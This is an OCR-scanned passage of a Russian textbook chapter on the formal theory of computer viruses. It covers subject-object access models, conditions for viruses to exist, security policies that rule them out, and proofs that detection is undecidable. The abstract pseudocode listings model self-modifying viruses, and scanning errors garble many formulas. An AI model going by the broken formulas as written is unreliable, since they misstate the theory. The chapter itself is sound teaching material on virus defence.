сущест вует понятие исполнимого файла — объекта, способного быть источником порождения субъекта. Например для операционной системы MS DOS файл MEM EXE является объектом-источником при порождении субъекта- программы отображения распределения операгивной памяти, а порож дающим субъектом является, как правило командный интерпретатор (объ- ектом-источником для которого, в свою очередь, является файл COM- MAND СОМ) В то же время комавдиый интерпретатор никогда не поро дит какого-либо субъекта из файла с расширением TXT содержащего произвольные данные. Более «универсальным» активизирующим субъектом в А о MS DOS является субъект, порождаемый из ВАТ- “ файла следующего содержания DEBUG %1 < INSTR.TXT J Г ) 3 и использующий в своей работе файл INSTR.TXT, содержащий, например, следующие две инструк- ции отладчика g • » unknown q Так, если в качестве параметра указать приведен- ?ис- 2.3 ному ВАТ-файлу любой другой, то при выполне- нии он попытается загрузить файл, специфициро- ванный первым параметром, в оперативную память и передать ему управ- ление. Понятно, что во многих случаях результат таких действий будет в некотором смысле не предсказуем Огсюда, вообще говоря, следует вь бор слова «unknown» для обозначения несуществующего субъекта. Как видно из приведенного примера, свойства активизирующего субъекта, использующего отладчик, непосредственно зависят от содержи- мого файла INSTR.TXT Такого рода объекты, связанные с субъектом в смысле влияния на его состояние или отражения его состояния, принято называть ассоциированными. Определение 2.8 Объект о в момент времени t ассоциирован с субъектом s, если состояние объекта о повлияло на состояние субъекта з в следующий момент времени (то есть субъект з использует информацию, содержащуюся в объекте о): OI-V <=> st+l=h,(o,,st). Def где о, - состояние объекта о в момент времени t, st и з,+1 - состояния субъекта з соответственно в моменты времени г и t +1 ht - отображение, описывающее изменение состояния субъекта з при переходе от момента времени t к моменту времени г + 1. При этом состояние субъекта з в момент времени t определяется порядоченным множеством ассоциированных в этот момент времени с ним объектов 46 47
s, ~ </'>1-4,4. Def I J где o{" - состояние i-го объекта, ассоциированного в момент времени г с субъектом з В данном определении для обозначения отношения «ассоциирован» используется знак «I—>», а для отношения «определяется» - знак «~ » Несмотря на рекурсивный характер определения 2.8 оно корректно так как позволяет в любой момент времени однозначно выделить объекты, ассоциированные с субъектом в случае, если в некоторый начальный мо- мент времени ассоциированные объекты были определены однозначне Как правило это вектор исполняемого кода программы и начальные со стояния некоторых переменных программы Таким образом, субъект в общем случае реализует некоторое ото- бражение множества ассоциированных объектов в момент времени г на множество ассоциированных объектов в момент времени I +1 В связи с этим можно выделить две разновидности ассоциированных объектов Пер вая разновидность это так называемые функционально ассоциированные объекты, изменение которых изменяет вид отображения ассоциированных объектов (это объекты, содержащие, как правило, код программы) Вторая разновидность • это ассоциированные объекты-данные, являющиеся аргу- ментом отображения, но не изменяющие вида отображения Обратим внимание на то, что из определений 2 7 и 2 8 следует, что в момент порождения субъекта s' из объекта о последний является ассо- циированным для субъекта s'. Также необходимо заметить, что объект- источник м жет быть ассоциирован с активизирующим субъектом, и тщда говорят об автономном порождении то есть не зависящем от свойств ос- тальных субъектов и объектов Если же объект-источник является нсассо- циированным (внешним) для активизирующего субъекта, то порождение не является автономным и зависит от свойств объекта источника Одним из проявлений активности субъектов является их способность выполнять действия над объектами. При этом следует отметить, что пас- сивный статус объекта необходимо требует существования потока инфор- мации от объекта к объекту, при этом субъект выступает лишь инициато ром этого потока. Исходя из вышесказанного, можно дать следующее оп- ределение потока информации Определение 2.9. Потокам информации между объектом о и объектом о2 называется произвольное преобразование состояния объекта о2, реализуемое субъектом s и зависящее от объекта о Slreamts. oj) °2. г------------* °2.1+1 • п2.1’°2.1аео2 Рис 2 4 Заметим что как О|, так и т2 могут быть ассоциированными или не- ассоцинрованными с субъектом з объ ктами а в роли объекта о2 мзжет также выступать множество допусти зых множеств объектов прсдс ави мых в виде слов языка L В функциональной нотации поток информации от объекта О| к объ- екту о2, порожденный субъектом , есть не что иное, как отображение со стояния о2 , объекта о2 в момент времени г в состояние этого же объекта о2 ,+1 в момент времени Г +1, зависящее от субъекта з и объ- екта о,. Это отображение будем обозначать следующим образом Stream^s, о(} Наглядно поток может быть изображен в виде графа (рис. 2.4). В определении 2 9 подчеркнуто, что поток информации рассматриваегся не между субъектом и объектом а между объектами то есть одинаковыми сущностями Активная роль субъекта выражается в реализации дан ного потока. Другими словами операция по- рождения потока локализована в субъекте и связана с состоянием его функциона!ьно ас социированных объектов Отметим, что ото- бражение 5<ге<дл(«, •) может создавать новые объекты или уничтожать существующие Теперь, используя понятия, связанные с порождением субъектов из объектов и информационных потоков м жду объектами, введем понят ие доступа. Определение 2.10 Доступом субъекта з к объекту о будем на зывать либо порождение потока информации между объектом о и некото- рым объектом о., ассоциированным с субъектом з; либо порождение по- тока между некоторым объектом ot, ассоциированным с субъектом з, и объектом о; либо порождение потока между некоторым объектом о, ас социированиым с субъектом з, и множеством объектов О в смысле вклю чения в него (создания) или исключения из него (удаления) объекта о; ли бо порождение некоторого субъекта з из объекта о при активизирующем воздействии субъекта з Д пы могут быть классифицированы различным образом В рам ках исследования проблемы существования КВ будем использовать клас- сификацию, включающую в себя стедуюшие виды доступов (см рис 2.5): 48 49
read (чтение), write (запись), create (создание объекта), delete (удале ние объекта) и, наконец, execute (выполнение или, иначе, порождение субъекта). read q Slreom(s, о,) Рис. 2.5 execute s' = Execute (s. о) На рис. 2.5 для наглядного представления субъекта и ассоциирован ного с ним объекта последние изображены в виде концентрических ок- ружности большего диаметра и зачерненного круга меньшего диаметра со- ответственно Отношение доступа субъекта к объекту изображено в виде тонкой ориентированной линии. Кроме того, использованы следующие но- вые обозначения о , и о, (+| -соответственно состояния объекта о,-, ассоциированно- го с субъектом 5, в моменты времени г и г +1; °i и °f+i “ соответственно состояния объекта о в моменты времени г и г + 1. 0,-р О, и О(+| соответственно множества объектов изучаемой сис- темы в моменты времени г -1, t и г +1 Дальнейшее изложение материала будет базироваться на следующей аксиоме [11] Аксиома 2.2. Все вопросы безопасности информации описываются доступами субъектов к объектам Данная аксиома носит весьма общий характер Действительно, если включить в рассмотрение такие процессы как пожар наводнение физиче ское уничтожение и изъятие, то эта аксиома охватывает практически все известные способы нарушения безопасности в самых различных вариантах ее понимания Таким образом, изучение условий существования КВ пере- носится в сферу рассмотрения процессов эволюции множеств субъектов и объектов, а также последовательности доступов между их элементами Пусть время дискретно. Моментом начала функционирования вы- числительной системы будем считать момент 0, а моментом окончания - время Т. Пусть, далее, О, - множество объектов системы в момент времени г St множество субъектов системы в момент времени t В— {read, write, create, delete, execute] множество видов досту- пов субъектов к объектам; М, S,xOr-tR функция, определяющая допустимые в момент времени г виды доступов субъектов из множества S, к объектам из мно- жества О,, л множество всех подмножеств множества В, включая пустое множество. Состояние системы в момент времени t будем описывать множест вом возможных доступов: В're Mt(s,o),se S^oeO,] 5i 50
Если в множестве В, выделить подмножество реализовавшихся в момент времени t доступов В, с В,, то можно определить отображение состояния системы в момент времени г на состояние системы в следую- щий момент времени. B,+I = Wf(B„Bt). Таким образом, упорядоченное по времени на отрезке [О, Т] множе- ство возможных доступов в системе [В,}' - это не что иное, как фазовое пространство системы, а аналогично упорядоченное множество рсализо вившихся на {В, }" ? доступов S,} - фазовая траектория системы. Анализ листинга 1.1 в контексте введенных понятий позволяет легко построить необходимое условие, которому должно удовлетворять фазовое пространство вычислительной системы для того, чтобы в ней могли суще ствовать, в смысле соотношений (2 1) и (2.5), компьютерные вирусы: 3/|.гг(г1<г2) 3*1(*1е$1,) Зо(ое O,t г>О,2) М (sl,o)r>{write,create}^0 execute еМ ($2,o)J. (2 7) Исследуем практическую ценность условия (2.7) Для этого предва- рительно введем понятие политики безопасности. Определение 2.11 Политика безопасности - это набор норм правил и практических приемов, которые регулируют процессы управл ния ценной информацией с целью ее защиты и распределения Предположим, что в качестве модели угроз выступает факт сущест вования в вычислительной системе компьютерных вирусов в смысле соот ношений (2.1) и (2.5). Тогда при формировании политики безопасности соответствующей этой модели угроз, достаточно обеспечить невыполне- ние условия (2.7). Рассмотрим несколько простейших примеров таких политик без пасности Пример 2.6 Пусть объекты, являющиеся источниками для субъек- тов вычислительной системы, отделены от всех остальных объектов в том смысле, что к ним возможны доступы только на чтение (read) и выполне- ние (execute). Vo ( ^execute e Л/(1 (spo)]=^ => Vz2 Vs2 (s2e ) [W,2 (s2,o)r\{write, create, de/ete}= 0 j J. (2.8) 52
Очевидно, что соблюдение в вычислительной системе правила (2.8) гарантирует невыполнение условия (2.7) и, следовательно, обеспечивает невозможность существования КВ Таким образом, соотношение (2.8) можно рассматривать как формальное определение некоторой политики безопасности для заданной модели угроз. Практической иллюстрацией этого примера может служить случай, когда операционная система и все ее приложения размешены, например, на CD-ROM. а жесткие диски и перезаписываемые носители информации (носители с произвольным доступом) используются лишь для хранения данных Причем эти данные суть состояния таких объектов, которые не могут нн при каких обстоятельствах быть объектами-источниками для ка ких-либо субъектов (при активизирующем воздействии любых субъектов, возможных в рассматриваемой вычислительной системе). Данное уточне- ние важно, так как возможна, например, следующая ситуация Пусть на CD-ROM установлены операционная система семейства Microsoft Windows 9х и офисное программное обеспечение семейства Mi crosoft Office 9х, а носители с произвольным доступом используются для размещения документов Microsoft Office. В этом случае имеет место рас- слоение субъектно-объектной модели на два уровня (на одном из которых существование КВ не возможно, а на другом возможно): во7 vr во; (o’uo;=ot. о'гло’=ау. Vo'(e'e(/) Vr, Vs^eSj [л/(| (s1,o')n{read execute} *0, Af () (r|, o') n {write create, de/ete] = 0 Зг2.'з('2<*з) 3s2(s2g$,,) Bi3(s3e5ri) 3o'(o'eO') A/,2 (r2, o')гт{write create] *0, execute e M (*3.0')]. (2 9) где О - множество объектов, размешеннь х на CD-ROM О' - множество объектов, размешенных на носителях с произвольным доступом в момент времени t Здесь на множестве {Of , могут процветать КВ, а точнее та их разновидность, которую принято называть чакровирусами. Рассмотрим, с чем это связано Документы Microsoft Office (объекты ИЗ О t — n I -»• \ г 4 - и, |, ) могут содержать макросы, основанные на языке про- П’аммирования Visual Basic for Application (VBA). Целый ряд системных ,Ы™й Microsoft Office (открытие, закрытие, сохранение документа, мо- фикация элементов документа и т. д. и т. п.) могут приводить к передаче Р вления к каким-либо макросам включенным в состав документов Mi 53
crosoft Office. (В этой ситуации документ Microsoft Office является объек- том источником для порождаемого нового субъекта, а активное приложе ние Microsoft Office - активизирующим субъектом ) В свою очередь, язык программирования VBA является полнофункциональным языком про- граммирования, допускающим многообразные системные вызовы В итоге, реализация на VBA модели, приведенной на листинге 1.1, оказывается весьма легко разрешимой задачей. В качестве соответствующих примеров можно предложить VBA-код, приведенный на листингах 1.3 и 1.7. К тому же эти два примера демонстрируют многообразие техник размножения Политика безопасности в примере 2.6 определяется тезисом «Если какой-либо объект может стать объектом-источником для какого-либо субъекта, то к нему невозможны доступы, отличные от чтения и выполне- ния». При построении политики безопасности, направленной на недопу- щение существования в вычислительной системе КВ, можно использовагь и обратный тезис: «Если к некоторому объекту имели место доступы на создание или запись, то такой объект не может быть использован как объ ект-источник для какого-либо субъекта». Прежде чем рассмотреть соот ветствующий пример, введем дополнительные обозначения. ПустьВ={В,Ц = = {Во}и{В, В, = Н,_| В, |), Br_{ G В, |, t = 1, 2,. Т} - фазовое про- странство доступов вычислительной системы Т - {в - фазовая траек тория в этом пространстве Т^В В0^В0, Vr(i = l,2,.. ,7) 1) Л={7:7<е/?}- множество всех возможных фазовых траекторий в про- странстве В Наглядно представить пространство В с его достаточно сложной то- пологией, фазовую траекторию Т и, соответственно, отношение «<е» можно при помойТи приближенной геометрической модели, изображенной на рис. 2.6. Пример 2 7. Обеспечить невыполнение условия (2.7) можно при помощи следующей формально заданной политики безопасности: Vo VT(7e£) [ЗГ] 3r,(rie {write create} ^.о rje В, е 7 |=> => Vr2 (г, <r2) Vs2 (j2g ) (т2’0’ execute)^ В, е 7] ). (2.10) Политика безопасности (2.10) фактически разбивает множество всех воз- можных фазовых траекторий А на два непересекающихся подмножества- Л = £иАС £пЛг-0, (2.11) гДе £ ~ подмножество допустимых фазовых траекторий- .Л/" подмноже- ство фазовых траекторий в рамках которых могут существовать КВ При этом важно заметить, что разделение всего множества фазовых траекторий на подмножества £ и А/" в вычислительной системе невоз- можно без наличия активного компонента (субъекта), который бы, во- первых, активизировался при возникновении любого потока (фиксировал доступы) и, во-вторых не допускал бы порождения субъектов из объектов к которым имели место доступы на создание и/или запись. Именно этот пециальный субъект является механизмом реализации политики безопас- ности (2 10) Н мотря на несколько искусственный характер примера 2.7, он представляет интерес с той точки зрения, что наглядно демонстрирует си туацию необходимости субъекта, реализующего функцию фильтрации, метим в этой связи, что использование специального субъекта для 55 54
фильтрации фазовых траекторий позволяет обеспечить реализацию боль- шого количества самых разных полизик безопасности. Подводя итоги исследования условий существования КВ, отметим основные результаты: 1) необходимым условием существования КВ в вычислительной системе является выполнение соотношения (2 7); 2) поиск соотношений, нарушающих условие (2.7), позволяет стро ить различные формальные политики безопасности для слу чая, когда в ка честве модели угроз выступает факт существования в вычислительной системе КВ 3) универсальным подходом к реализации таких политик безопас- ности является использование специального субъекта для фильтрации фа зовых траекторий в пространстве доступов вычислительной системы. 2.3. Обнаружение компьютерных вирусов алгоритмические проблемы Прежде чем исследовать проблему обнаружения КВ необходимо оп ределить, что мы понимаем под обнаружением. Введем следующие обозначения. infected — отношение «инфицирована» между программой и КВ (в это отношение будем вкладывать смысл, алгоритмически представленный на листинге 1.1, то есть наличие где-либо тела КВ и внедрения в програм му механизма передачи ему управления) Будем рассматривать алгоритмы, которые в качестве исходных дан- ных используют программы (слова i алфавите их представления), а в каче- стве результата своей работы заносят в логическую переменную (возвра щами) одно из значений: true или false. Если такой алгоритм обозначить через Л, некоторую программу через Р, а возвращаемый результат через г, то в функциональной нотации это означает, что если выполнение дан ного алгоритма для этих исходных данных А(/>) когда-нибудь завершит- ся, то есть т(А(/’))<оо, то A(P)=r, ге {true, false}. Здесь т(А(Р)) оз- начает время выполнения алгоритма А для исходных данных Р. Исследование начнем со следующего формального определения по- нятия обнаружения Определение 2.12. Алгоритм А обнаруживает любой КВ, если и только если для любой программы Р, А(Р) заканчивается и возвращает true если и только если Р инфицирована каким либо КВ 56
VV (A detect V) <=> ' Def <=> VP Def t(a(P))<°°, A(P) = true false 3V (P infected V) -.ЗУ (P infected V) Здесь detect - отношение «обнаруживает» между алгоритмом и КВ, -> - знак отрицания. Далее, следуя Ф. Коэну1, предположим, что нам удалось реализовать такой алгоритм в виде функции Содержит вирус. И юльзуя эту функцжэ, модифицируем ранее рассмотренную модель вируса и инфицированной им программы: перейдем от модели, представленной на листинге 1.1, к моде- ли представленной на листинге 2.1. Исследуем результат. Предположим, что функция Содержит вирус обнаружила в про- грамме У2_инфицированная_про; рамма КВ и возвратила true тогда ха рактерный вирусный код (выделен на листинге комментариями) выпол- няться не будет и программа V2 инфицированная_программа не является инфицированной. Возникло противоречие И наоборот, если предполо- жить, что функция Содержит вирус не обнаружила в исследуемой про- рамме V2_инфициpoвaннaя_пpoгpaммa КВ, то характерный вирусный код выполнится то есть программа V2 инфицированная программа фак тически оказывается носителем вируса. Снова возникает противоречие. Описанная ситуация хорошо известна в теории алгоритмов она я в ляется частным случаем алгоритмически неразрешимой проблемы само- применимости Весьма наглядной ил: юстрацией сути проблемы обнару- жения в смысле определения 2.12 можно считать канторовскую диаго- нальную процедуру известную в теории множеств и построенную для процесса синтеза алгоритма обнаружения (см. рис. 2.7). Приведем описа- ние этой процедуры. Предположим что мы исследовали некоторое множе- ство КВ {Ц,^. Ц} и на этой основе синтезировали алгоритм обнару- жения в смысле определения 2.12 А,. Тогда возможен КВ Ц+1, который использует этот алгоритм по принципу приведенному на листинге 2.1 Рассматриваем новое множество КВ {V V2,. , У,,У1+1} синтезируем но- вый алгоритм Ai+I и снова этот алгоритм можно использовать для нового К^6^СПр^22'°з5Ри1еГ ^*rUSeS ” T'1C0I7 and Experiments И Computers and Security. - 1987. - Марков А А Нагорный H M. Теория алгорифмов -M ФАЗИС. 1996 -448+48 с Балдин В Бычков Н Виннер Д И , Шашкин Л О Традиционная логика и кан ровская диагональная процедура М : Янус-К, 1997 - 32 с 57
KB Vi+2. Очевидно, что этот процесс бесконечен и, таким образом, алго- ритм обнаружения в смысле определения 2.12 не достижим. Итоговый вывод здесь следующий- алгоритма обнаружения факта инфицирования какой-либо программы каким-либо КВ в смысле определ ния 2.12 в общем случае не существует Листинг 2.1 program \/2_инфицированная_программа V2 , Внедренный вызов программной компоненты V2 ; Начало тела вируса V2 procedure V2 If not Содержит_вирус(\/2_инфицированная_программа) then ,------Начало характерного вирусного кода------ Инфицировать if Наступило_условие_выполнения_действия_\/2 then Выполнить_действие_\/2 endif ;------Конец характерного вирусного кода------- endif Устранить_последствия_внедрения_вызова_\/2 endprocedure function Содержит_вирус(Файл . file): boolean ; Конец тела вируса V2 endpogram 58
4 Ч ... Ч <-------тf------> А,-----------1 Ч V2 ... V, 4,1 1-----------Т------------’ Al+1 I Ч v2 ... v, ц+] v,+2 L---------------р--------------> Ai+2 ' ▼ Ч Ч ... 4 Чи Ч+2 ... ч+* I____________________„______________________I иг А, к I Ч Ч ... Ч Ч+1 Ч+2 ... Ч+* 4+*+i '------------------------,--------------------------- Л к I Рис. 2.7 Когда мы рассматривали канторовскую диагональную процедуру, то предполагали, что можно построить алгоритм обнаружения КВ из некото- рого заданного конечного множества вирусов, предварительно исследовав каждый элемент этого множества. Оказывается, что в общем случае это не возможно, более того, в некоторых случаях, даже имея одну реализацию или несколько экземпляров реализаций данного КВ, невозможно постро- ить алгоритм обнаружения всех его реализаций Рассмотрим соответст- вующий теоретический результат более подробно. Итак, будем рассматривать так зазываемые самомодифицируюциеся или, иначе, полиморфные КВ, то есть вирусы которые изменяются в про- цессе своего распространения. 59
Пусть С отношение «создает копию, необязательно совпадающую с оригиналом» Здесь, в отличие от подразд. 2.1, мы будем рассматривать отношение С более широко, в частности будем полагать, что С - не функциональное, а многозначное отображение Для обозначения того факта, что две программные компоненты р н q находятся в отношении С, будем использовать следующую запись: pCq. Определение 2.13. Элемент q eW достижим из элемента р 6 W относительно отношения С на множестве W, если либо pCq, либо Эк (к е N, к <+«=) Vi(i=1,2.А) Эг, (/; e l¥) [pCrt, r1Cr2,... Для обозначения достижимости q из р относительно С на W будем ис- пользовать следующую запись: р—1 я Определение 2.14 Подмножество U ccW назовем сильно связным (илн сильным) относительно отношения С, если любые два его элемента взаимно достижимы относительно этого отношения на множестве U : U сильно связно относительно С <=> <=> V р, q(p, qeU~) р—^^—*q,q—- ->р Dtf L Следует обратить внимание на то, что одноэлементное подмножест во {р}, р е W, может быть сильно связным относительно С, если рСр, а может и не быть, если отношение рСр не имеет места. Пусть W - множество всех возможных программных компонент.1 Отношение С продуцирует на множестве W некоторую совокупность сильно связных компонент. Рнс. 2.8 иллюстрирует этот факт графически Прямоугольная область на рисунке изображает часть множества W, зачер ненные геометрические фигуры представляют собой элементы сильно связных компонент множества W контурные фигуры элементы множе- ства W не вошедшие в сильно связные компоненты, н, наконец, стрелки изображают отношение С. Определение 2.15 Сильно связной (сильной) компонентой V множества W относительно отношения С назовем всякое максимальное сильно связное подмножество множества W V - сильно связная компонента И7 относительно С <=> V с W, V - сильно связно относительно С, -i3r (г eW) [V о{г} - сильно связно относительно С’] Компьютерные вирусы будем ассоциировать с сильно связными компонентами V множества W относительно отношения С Таким обра- зом, одноэлементные сильные компоненты - это обычные КВ, а многоэле- ментные это КВ с признаками полиморфизма. В последнем случае эле- мент сильно связной компоненты - это конкретная реализация данного КВ (его экземпляр 1 Предположение о том, что С - функция, использованное в подразд. 2.1, не снижает общности рассмотрения проблемы формального определения КВ. а лишь упрощает со- ответствующее изложение В отличие от подразд 2 1 здесь для обозначения множества всех возможных про- граммных компонент использована буква W, с тем чтобы не вносить путаницы, свя занной с использованием в данном подразделе буквы Р для обозначения некоторой программы 60 61
Определим понятие обнаружения конкретного КВ, иначе говоря, об- наружения факта инфицирования какой-либо программы элементом кон- кретной сильно связной компоненты множества VV Определение 2.16. Алгоритм А обнаруживает КВ V, если и только если для любой программы Р, А(Р) заканчивается н возвращает true, если и только если Р инфицирована каким либо экземпляром V : A detect V « De/ « VP т(А(Р))<о°,А(Р)- true 3v (v с V) [P infected v] false -i3v(v eV) P infected v] Рассмотрим KB модель которого представлена на листинге 2.2 Предположим, что нам удалось построить алгоритм обнаружения факта инфицирования произвольной программы любой реализацией данного ви руса в виде функции Содержит_вирус. Очевидно, что код реализации этой функции должен быть конечен, иначе теряет смысл наше предположение С другой стороны нз конечности кода функции Содержгп_вирус следует что в ходе многократных актов инфицирования, рано нли поздно, будет получен именно такой экземпляр этого вируса, в котором тело функции Можно_проявить_вирусную_активность программе будет содержать код вида return not Содержит_вирус(Файп) function Содержит_вирус(Файп . file). boolean endfunction. Это код, который будет соответствозать некоторому достигнутому в ходе актов инфицирования значению переменной Серийный_номер. Обозначим это значение No (см Листинг 2.3). Рассуждения относительно этой модели, аналогичные анализу КВ модель которого была представлена на листинге 2 1, позволяют сделать вывод о невозможности в общем случае создания алгоритма обнаруже ния факта инфицирования какой-либо программы даже экземпляром не которого конкретного КВ Другими словами, речь здесь идет о невозмож ности в общем случае обнаружения фа та инфицирования программы из- вестным КВ в смысле определения 2 16 Под термином «известный КВ» можно понимать, например, тот факт, что одна или несколько реализаций данного КВ были предварительно изучены. 62
Листинг 2.2 program \/3_инфицированиая_программа_Х V3 ' Внедренный вызов программной компоненты V3 • • • Начало тела первой рассматриваемой реализации вируса V3 public Серийный_номер verylongint procedure V3 Состояние:=0 Строка А Серийный_номер.=0 Строка В if Можно_проявить_вирусную_активность_программе О (\/3_инфицированная_программа X) then if Состояние=0 then Инфицировать_способом_ Инфицировать_способом_2 else Инфицировать_способом_3 endif if Наступило_условие_выполнения_действия _V3 then Выполнить_действие_\/3 endif endif Устранить_последствия_внедрения_вызова\/3 endprocedure function Можно_проявить_вирусную_активность_программе О (Файл file) boolean return true endfunction procedure Инфицировать способом 1 do Жертва:=Очередная_про грамма loop while Содержит_признак_внедрения_УЗ(Жертва) Начатьподготовку тела_новой_реализации_\/3 Установить_константу_в_строке_В_равной(Серийный номер+1) Закончить_подготовку_тела_новой_реализации_\/3 Разместить_подготовленное_тело_уз_ в(Жертва) Внедрить_вызов_\/3_в(Жертва) Установить_признак_внедрения_УЗ_в(Жертва) endprocedure 63
procedure Инфицировать_способом_2 do Жертва ~Очередная_программа loop while Содержит _признак_внедрения_\/3(Жертва) Начать_подготовку_дела_новой_реализации V3 Установитьконстанту в строке _А_равной(1) Заменить_тело_ функции_«Можно_проявить_вирусную_ О активность»_на_код_соответствующий(Серийный_номер) 3акончить_подготовку_тела_новой_реализации_\/3 Разместить_подготовленное_тело_уз_ в(Жертва) Внедрить_вызов_\/3_в(Жертва) Установить_признак_внедрения_\/3_в(Жертва) endprocedure procedure Инфицировать_способом_3 do Жертва =Очередная_программа loop while Содержит_признак_внедрения_\/3(Жертва) Начать_подготовку_тела_новой_реализации_\/3 Установить_константу_в_строке_А_равной(0) Установить_константу_в_строке_В_равной(0) Заменить_тело_функции_«Можно_проявить_вирусную_ в активность»_на_код_соответствующий_«ге1игп_1гие» 3акончить_подготовку_тела_новой_реализации_\/3 Разместить_подготовленное_тело_\/3 в(Жертва) Внедрить_вызов_УЗ_врКертва) Установить_признак_внедрения_\/3_в(Жертва endprocedure Конец тела первой рассматриваемой реализации вируса V3 endprogram 64
Листинг 2.3 program УЗ_инфицированная_программа_У V3 Внедренный вызов программной компоненты V3 Начало тела некоторой рассматриваемой реализации вируса V3 public Серийный_номер veryiongint procedure V3 Состояние.=1 : Строка А Серийный_номер =No ; Строка В if Можно_проявить_вирусную_активность_лрограмме О (\/3_инфицированная программа Y then if Состоянием then Инфицирсвать_способом_1 Инфицировать_способом_2 else Инфицировать_способом_3 endif if Наступило_условие выполнэния_действия V3 then Вылолнить_действие V3 endif endif Устранить_лоследствиявнедрения_вызова_\/3 endprocedure funct on Можно_проявить_вирусную_активность_программе О (Файл file) boolean : Начало кода, соответствующего серийному номеру No return not Содержи _вирус(Файл) function Содержит вирус(Файл file): boolean endfunction , Конец кода, соответствующего серийному номеру No endfunction Конец тела некоторой рассматриваемой реализации вируса V3 endprogram 65
Ясно, что КВ экземпляры которого представлены на листингах 2.2 и 2 3, является жизнеспособным лишь в какой-то незначительной степени, тем не менее он являет собой формальную иллюстрацию принципиальных алгоритмических трудностей обнаружения в смысле определения 2.16. На- глядно разницу между алгоритмическими проблемами обнаружения в смысле определения 2.12 и обнаружения в смысле определения 2.16 де- монстрируют рисунки 2 9 и 2 10 соответственно Область обнаружения на рисунках выделена серым тоном. Видно, что на рис. 2.9 нс все сильные компоненты охвачены областью обнаружения а на рис 2.10 охвачены не все элементы данной сильной компоненты и/или в область обнаружения попадают элементы множества W не принадлежащие данной сильной компоненте Исследование алгоритмических проблем обнаружения компьютер- ных вирусов можно продолжить. Введем понятие обнаружения в слабом смысле Определение 2.17. Алгоритм А обнаруживает КВ V в слабом смысле, если и только если для любой программы Р, А(Р) заканчивается и возвращает true, если Р инфицирована каким либо экземпляром V , воз вращает иное чем true если Р не заражена никаким вирусом, и, наконец, возвращает произвольный результат для программ, инфицированных ви русом,отличным от V A detect V « Def « VP т(л(Р))<оо,А(Р) = true 3v(v g V)[Р infected v] false -i3V'(V'cW) [P infected V'] где предполагается, что P nfected V' «=> 3v(v g V') [P infected v Здесь для обозначения отношения «обнаруживает в слабом смысле использован терм «detect». Очевидно, что для обнаружения в смысле определения 2 17 сохраня ется тот же результат, что и в предыдущем случае, в общем случае не су- ществует алгоритма способного обнаружить факт инфицирования про- граммы известным КВ в слабом смысле Графическая интерпретация следствия существования алгоритмиче ской проблемы обнаружения конкретного КВ в слабом смысле приведена на рис 2.11 (сравните с рис 2 9 и 2 10) 66
Рис.2.9 Рис 2.10 67
Рис 2 11 В заключение обсуждения теоретических аспектов проблемы обна- ружения КВ хотелось бы обратить внимание на два основных результата. Во-первых, это наличие принципиальных теоретических ограниче ний на возможность обнаружения КВ в формальных смыслах 1) УД ЗУ [-,(4 detect У)]; 2) ЗУ detect У) 3) ЗУ УДу 1(Ду detect у) Индекс У в обозначении алгоритма Av введен, здесь, с целью подчерк нуть. что алгоритм может быть изначально ориентирован на обнаружение КВ V'. Очевидно, что этот индекс можно опустить И, во-вторых, важно понимать, что когда мы говорим об обнаруже- нии КВ в повседневной практике, то понимаем под этим термином нечто отличное от формальных смыслов (определения 2.12,2.16 и 2.17) Контрольные вопросы 1) Каково содержание проблемы формального определения компь- ютерного вируса? Графически изобразите структуру этой проблемы. Н 2) Сформулируйте необходимое условие отнесения программной компоненты к категории компьютерных вирусов. Является ли приведенная Вами формулировка формально строгой? Если нет, то почемуВ 9 3) В чем заключается рекурсивная разрешимость или неразреши- мость некоторого формально заданного свойства, присущего или не при- сущего каждому элементу произвольного множества? 4) Дайте определение компьютерного вируса, в котором решена проблема рекурсивной неразрешимости необходимого условия отнесения программной компоненты к категории компьютерных вирусов. Назовите хотя бы одну причину, по которой приведенное Вами определение нельзя считать формально строгим 5) В чем суть субъектно-объектной нотации моделирования вычис лительных систем? При исследовании каких проблем используется данная нотация? 6) Охарактеризуйте аксиоматическую базу построения субъектно- объектных моделей вычислительных систем 7) Охарактеризуйте понятие объекта вычислительной системы 8) Охарактеризуйте понятие субъекта вычислительной системы 9) Охарактеризуйте понятие доступа субъекта к объекту вычисли тельной системы. 10) Чем отличаются автономное и не автономное порождение субъ- ектов? 11 Дайте определение объекта, ассоциированного с некоторым субъектом В чем проявляется рекурсивный характер этого определения? Возникает ли здесь рекурсивная неразрешимость какого-либо свойства? 12) В чем суть отличия функциональной ассоциированности объек- тов от их ассоциированности как данных? 13) Дайте определение информационного потока в рамках субъект но-объектного формализма 14) Приведите примеры графического представления потоков ин- формации, процессов порождения субъектов (в субъектно-объектной мо- дели вычислительной системы) и соответствующих им доступов 15) Сформулируйте условие существования компьютерных вирусов в терминах субъектно-объектного формализма. 16) Дайте определение политики безопасности. 17) Что такое (компьютерный) макровирус с точки зрения субъект но-объектного формализма9 69 68
18) Приведите пример простейшей формальной политики безопас- ности, обеспечивающей невозможность существования компьютерных ви- русов 19) Опишите универсальный подход к реализации политик безопас- ности для случая, когда в качестве модели угроз выступает существование каких-либо КВ 20) Каким образом канторовская диагональная процедура связана с алгоритмическими проблемами обнаружения КВ? 21) Приведите возможные формальные определения понятия «об- наружение» для КВ. Сформулируйте основные алгоритмические проблемы обнаружения для каждого из определений. 22) На рис. 2.12 изображено подмножество из двадцати одной про- граммной компоненты, стрелками на рисунке изображено отношение «создает копию, необязательно совпадающую с оригиналом», определен ное на этом подмножестве. Какое количество сильных компонент относи- тельно данного отношения представлено на рис. 2.12? 23) Сформу ируйте три принципиальных теоретических ограннче ння на возможность обнаружения КВ в формальных смыслах. 24) Приведите словесную формулировку различия понятии обнару жения данного КВ и обнаружения данного КВ в слабом смысле. 25) Обнаруживает ли какое-либо антивирусное средство (Dr WEB AVP и т. п.) КВ в смысле определ гний 2.12,2.16 или 2.17? ЗАДАНИЯ для САМОСТОЯТЕЛЬНО! О ВЫПОЛНЕНИЯ 1 Введем вместо функции Execut (2.6) функцию и усственно суженной областью опретеления Executelntelligent D - S, Def где D = { (5. о). s 6 5а, о 6 О, 3о, (о, G О)[signature, (о) = о, ] } ласть определения Executelntelligent, 5 множество субъектов, Sa множество субъектов которые moi уг выступать в качестве ак- тивизирующих, Sa с S, О множество объектов () - объект, являющийся электронной цифровой подписью (ЭЦП) объекта о signature, (о)-о, * V t h, (о,) ~ Л (°».i) )• о, ио,,— соответственно состояния объектов о и о, в момент вре- мени г, h, и - необратимые функции. Другими словами,будем рассматривать функцию, которая порождает субъекты, только из тех объектов, для которых имеется специальный объ- ект - ЭЦП, при активизирующем воздействии субъектов из строго опреде- ленного множества Sa. При этом каждый активизирующий субъект м ж использовать различные реализации механизма ЭЦП Этот факт отражен в индексах: о,, signature,, h,, /,. 